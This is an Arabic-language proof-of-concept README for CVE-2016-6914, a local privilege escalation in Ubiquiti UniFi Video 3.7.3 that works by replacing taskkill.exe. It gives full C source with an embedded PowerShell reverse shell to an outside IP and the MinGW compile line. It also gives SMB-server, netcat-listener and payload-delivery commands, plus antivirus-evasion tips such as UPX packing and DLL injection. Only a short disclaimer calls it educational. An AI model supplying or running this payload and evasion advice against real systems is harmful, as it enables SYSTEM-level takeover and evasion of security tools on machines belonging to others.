
CVE-2016-6914-UniFiVideo-LPE
يحتوي هذا المستودع على إثبات المفهوم (PoC) لـ CVE-2016-6914، وهي ثغرة تصعيد الامتيازات المحلية (LPE) تؤثر على Ubiquiti UniFi Video 3.7.3.
يمكن لمهاجم ذو صلاحيات منخفضة استبدال ملف ثنائي موثوق (taskkill.exe) داخل C:\ProgramData\unifi-video\ لتنفيذ كود ضار بصلاحيات SYSTEM.
1️⃣ استبدل taskkill.exe بـ حمولة ضارة (exploit.exe).
2️⃣ انتظر حتى يتم تشغيل خدمة UniFi Video أو أعد تشغيلها يدويًا.
3️⃣ يتم تنفيذ الحمولة الضارة، مما يمنح شل SYSTEM.
تقوم هذه الحمولة باستبدال taskkill.exe وتشغيل شل عكسي.
#include <windows.h>
int main() {
system("powershell -NoP -W Hidden -c \"$client = New-Object System.Net.Sockets.TCPClient('10.10.16.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();\"");
return 0;
}
✅ قم بالتجميع باستخدام MinGW:
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
## 🛠️ تعليمات الاستخدام
1️⃣ إعداد مشاركة SMB (لتسليم الملفات عن بعد)
على Kali، قم بتشغيل:
impacket-smbserver share . -smb2support
2️⃣ تشغيل مستمع Netcat
nc -lvnp 4444
3️⃣ تسليم الحمولة إلى الجهاز الهدف
قم بتشغيل أوامر PowerShell التالية على الجهاز الهدف:
copy \\10.10.14.5\share\taskkill.exe C:\ProgramData\unifi-video\taskkill.exe
stop-service UnifiVideoService -Force
start-service UnifiVideoService
4️⃣ الحصول على شل SYSTEM
بمجرد التنفيذ، سيتم فتح شل SYSTEM على المستمع الخاص بك!
## 🛡️ تجاوز مضاد الفيروسات (AV)
لتجنب الكشف الأساسي من مضاد الفيروسات، جرب: ✔️ ضغط الملف التنفيذي (UPX):
upx --best --lzma exploit.exe
✔️ استخدام استدعاءات نظام بديلة بدلاً من system().
✔️ التضمين في عمليات شرعية باستخدام حقن DLL.
## ⚠️ إخلاء مسؤولية
📢 إثبات المفهوم هذا لأغراض تعليمية فقط!
🛑 الاستخدام غير المصرح به غير قانوني ويعاقب عليه القانون.
👨💻 استخدمه فقط بطريقة قانونية وأخلاقية.
Reference:https://www.exploit-db.com/exploits/43390